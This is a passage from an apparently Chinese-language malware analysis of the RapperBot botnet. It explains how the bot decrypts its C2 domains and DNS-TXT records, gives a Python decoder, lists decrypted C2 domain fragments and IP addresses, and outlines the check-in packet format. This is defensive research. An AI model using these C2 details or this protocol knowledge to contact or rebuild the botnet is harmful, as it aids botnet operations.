SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">自定义的解密方法，key的长度不固定且进行了二次加密，再对data进行多字节异或</span></span><span leaf=""><br/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img data-imgfileid="100000422" alt="rapperbot_old_strdecode.png" class="rich_pages wxw-img" data-ratio="0.5703794369645043" data-type="png" data-w="817" style="box-sizing:inherit;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;line-height:inherit;font-family:inherit;font-optical-sizing:inherit;font-size-adjust:inherit;font-kerning:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-size:20px;margin:0px;padding:0px;vertical-align:middle;" src="https://wechat2rss.xlab.app/img-proxy/?k=2cdd12b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbgPafDFOcVymk9tXXYgQBsK5MiaObjcL4BGVL4HPGopcZicFfHhibTsiaajjxXzaZBurib32GvF70ruCcw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></li></ol><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></h3><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;font-weight: bold;">C2/DNS-TXT解密算法</span></span></h3><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></h3><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">从2025年3月开始，rapperbot使用自定义的加密算法加密TXT记录和C2域名：</span></span><span leaf=""><br/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">通过解密字符串表，我们可以得到3个的字符串：</span></span></p><table><thead><tr><th><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">str</span></span></p></th><th><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">desc</span></span></p></th></tr></thead><tbody><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">ipWPeY43MhfFBt8ZCSN2KTdD6nEkmGjwx7vJR5rogzbcqHsXUQuyVA9L</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">解密算法用到的table</span></span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">WF6i6VEcfjnyqtGKxism65YwRE9VYzzzbtLgLD4tWEsnZLgbJfuE94qtvTqGgVG3ScFtsfcxqTNtYKRWQTqNBqp6VLMv2p</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">被加密的二级域名列表</span></span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">WMKFVCnSHDrC89fvKgCShwmRjEx8</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">被加密的三级域名列表</span></span></p></td></tr></tbody></table><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">顶级域名字符串没有写入字符串表，而是通过栈写入全局变量：</span></span><span leaf=""><br/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img data-imgfileid="100000423" alt="tlds_data.png" class="rich_pages wxw-img" data-ratio="0.10385756676557864" data-type="png" data-w="674" style="box-sizing:inherit;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;line-height:inherit;font-family:inherit;font-optical-sizing:inherit;font-size-adjust:inherit;font-kerning:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-size:20px;margin:0px auto;padding:0px;vertical-align:middle;" src="https://wechat2rss.xlab.app/img-proxy/?k=08e888d6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbgPafDFOcVymk9tXXYgQBsKBpV2KmlZgImIjRQ6wibaPiaW3fVdUUj4TRECpdDOrJqp3kNm9P0sHOOQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><span leaf=""><br/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img data-imgfileid="100000424" alt="tlds_stack_asm.png" class="rich_pages wxw-img" data-ratio="0.3606194690265487" data-type="png" data-w="452" style="box-sizing:inherit;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;line-height:inherit;font-family:inherit;font-optical-sizing:inherit;font-size-adjust:inherit;font-kerning:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-size:20px;margin:0px auto;padding:0px;vertical-align:middle;" src="https://wechat2rss.xlab.app/img-proxy/?k=fcd14fdc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbgPafDFOcVymk9tXXYgQBsKpkRfoITMickAE6TsOfvOY6ss60NUImWiaUmJLUARS3DXyyrkKQNkBsBg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">经过独特的算法解密后可以得到C2域名的各个部分，解密算法及解密结果如下：</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><p><span leaf=""><span class="code-snippet__attribute">def</span> decodeTXT(data:str):</span></p><p><span leaf="">    <span class="code-snippet__attribute">key</span> = <span class="code-snippet__string">&#34;ipWPeY43MhfFBt8ZCSN2KTdD6nEkmGjwx7vJR5rogzbcqHsXUQuyVA9L&#34;</span></span></p><p><span leaf="">    <span class="code-snippet__attribute">a</span> = key.find(data[<span class="code-snippet__number">0</span>])</span></p><p><span leaf="">    <span class="code-snippet__attribute">b</span> = key.find(data[<span class="code-snippet__number">1</span>])</span></p><p><span leaf="">    <span class="code-snippet__attribute">seed</span> = <span class="code-snippet__number">56</span>*a+b</span></p><p><span leaf="">    <span class="code-snippet__attribute">magic</span> = <span class="code-snippet__number">1000000000</span> + <span class="code-snippet__number">0</span>x62B846D</span></p><p><span leaf="">    <span class="code-snippet__attribute">S</span> = bytearray(range(<span class="code-snippet__number">56</span>))</span></p><p><span leaf="">    <span class="code-snippet__attribute">T</span> = bytearray(<span class="code-snippet__number">56</span>)</span></p><p><span leaf="">    <span class="code-snippet__attribute">tseed</span> = seed</span></p><p><span leaf="">    <span class="code-snippet__attribute">for</span> i in range(<span class="code-snippet__number">55</span>, <span class="code-snippet__number">0</span>, -<span class="code-snippet__number">1</span>):</span></p><p><span leaf="">        <span class="code-snippet__attribute">tseed</span> = (magic * tseed + <span class="code-snippet__number">0</span>x3039)&amp;<span class="code-snippet__number">0</span>xffffffff</span></p><p><span leaf="">        <span class="code-snippet__attribute">index</span> = tseed%(i+<span class="code-snippet__number">1</span>)</span></p><p><span leaf="">        <span class="code-snippet__attribute">S</span>[i], S[index] = S[index], S[i]</span></p><p><span leaf="">    <span class="code-snippet__attribute">for</span> i in range(<span class="code-snippet__number">56</span>):</span></p><p><span leaf="">        <span class="code-snippet__attribute">T</span>[S[i]] = i</span></p><p><span leaf="">    <span class="code-snippet__attribute">res</span> = bytearray()</span></p><p><span leaf="">    <span class="code-snippet__attribute">for</span> i in data[<span class="code-snippet__number">2</span>:]:</span></p><p><span leaf="">        <span class="code-snippet__attribute">index</span> = (T[key.find(i)] - (len(data)-<span class="code-snippet__number">2</span>) - seed)%<span class="code-snippet__number">56</span></span></p><p><span leaf="">        <span class="code-snippet__attribute">res</span>.append(index)</span></p><p><span leaf="">    <span class="code-snippet__attribute">length</span> = ceil(len(res) * log2(<span class="code-snippet__number">56</span>) / <span class="code-snippet__number">8</span>)</span></p><p><span leaf="">    <span class="code-snippet__attribute">res3</span> = bytearray(length)  </span></p><p><span leaf="">    <span class="code-snippet__attribute">for</span> t1 in res:</span></p><p><span leaf="">        <span class="code-snippet__attribute">carry</span> = t1</span></p><p><span leaf="">        <span class="code-snippet__attribute">for</span> i in reversed(range(len(res3))):</span></p><p><span leaf="">            <span class="code-snippet__attribute">temp</span> = res3[i] * <span class="code-snippet__number">56</span> + carry</span></p><p><span leaf="">            <span class="code-snippet__attribute">res3</span>[i] = temp &amp; <span class="code-snippet__number">0</span>xFF  </span></p><p><span leaf="">            <span class="code-snippet__attribute">carry</span> = temp &gt;&gt; <span class="code-snippet__number">8</span>  </span></p><p><span leaf="">    <span class="code-snippet__attribute">while</span> len(res3) &gt; <span class="code-snippet__number">0</span> and res3[<span class="code-snippet__number">0</span>] == <span class="code-snippet__number">0</span>:</span></p><p><span leaf="">        <span class="code-snippet__attribute">del</span> res3[<span class="code-snippet__number">0</span>]</span></p><p><span leaf="">    <span class="code-snippet__attribute">return</span> res3 if len(res3) &gt; <span class="code-snippet__number">0</span> else bytearray(b&#39;\x00&#39;)</span></p></pre></p><pre><p><span leaf=""><br/></span></p></pre><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><p><span leaf="">三级域名：KDXA|EICp|kHbW|YFrV</span></p><p><span leaf="">二级域名：ByxWGIMPbwiSkniw|gwYhHCOrybwjWuzh|GaihWstPZUoMtfnU|zkUAFIMFDwVETXJQ</span></p><p><span leaf="">一级域名：info|live</span></p></pre></p><pre><p><span leaf=""><br/></span></p></pre><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">使用&#34;|&#34;分割域名的各个部分，最终会生成32个C2域名，随机选择一个进行DNS-TXT解析，TXT记录字符串使用相同的解密算法解密：</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><p><span leaf="">TXT记录：i7do6u4FtLeeMjmnwWczxKJmtoRRvgCCqiinWW9EUtVpLx38db5xrCfr8mHmsxmutZ4C8fXL2jhGVzfdUQmvvnzZW7pCJmUpi</span></p><p><span leaf="">解密后：5.230.39.10|5.230.68.153|82.24.200.59|82.24.200.68|62.146.235.220|5.230.227.190|5.230.227.191|5.230.227.237|5.230.227.238</span></p></pre></p><pre><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;font-weight: bold;">网络协议</span></span></p></pre><pre><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></p></pre><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">Rapperbot的网络协议相对简单，不涉及密钥交换和复杂加密，payload只进行了单字节异或（key不固定）。</span></span><span leaf=""><br/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">在多个变种只对上线信息和消息编码进行修改。</span></span></p><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;font-weight: bold;">上线信息</span></span></h3><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></h3><div><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">RapperBot在不同版本的上线包格式不同，有时会增加字段，有时会减少字段，但都包含</span></span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">hostname</span></span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">、</span></span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">source</span></span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">、</span></span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">stunIP</span></span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">、</span></span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">localIP</span></span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">，并用非0随机数填充未使用空间，在最新版本中添加了网络信息字段，总大小为120，以下是相关结构描述：</span></span></div><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000425" alt="login.png" class="rich_pages wxw-img" data-ratio="0.3287101248266297" data-type="png" data-w="721" style="box-sizing:inherit;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;line-height:inherit;font-family:inherit;font-optical-sizing:inherit;font-size-adjust:inherit;font-kerning:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-size:20px;margin:0px auto;padding:0px;vertical-align:middle;" src="https://wechat2rss.xlab.app/img-proxy/?k=73eab4dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbgPafDFOcVymk9tXXYgQBsK5bvus8WOHg3oa8P0BqQ6A5v2ARLzCx1gSnOXIEaq6sQI7o0qvnBbqg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;font-weight: bold;">消息编码</span></span></h3><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></h3><div><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">在网络通信方面，不同版本的消息格式存在微小差异，但通常都由3部分组成：Header、Payload、RandData。以最新样本为例，Header添加了校验码字段，RandData则由字符串表</span></span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">q1x4fyntb3i0umw2gzcr9a5jkv7o8pl6eohds</span></span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">随机生成：</span></span><span leaf=""><br/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img data-imgfileid="100000426" alt="packet.png" class="rich_pages wxw-img" data-ratio="0.3618421052631579" data-type="png" data-w="608" style="box-sizing:inherit;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;line-height:inherit;font-family:inherit;font-optical-sizing:inherit;font-size-adjust:inherit;font-kerning:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-size:20px;margin:0px auto;padding:0px;vertical-align:middle;" 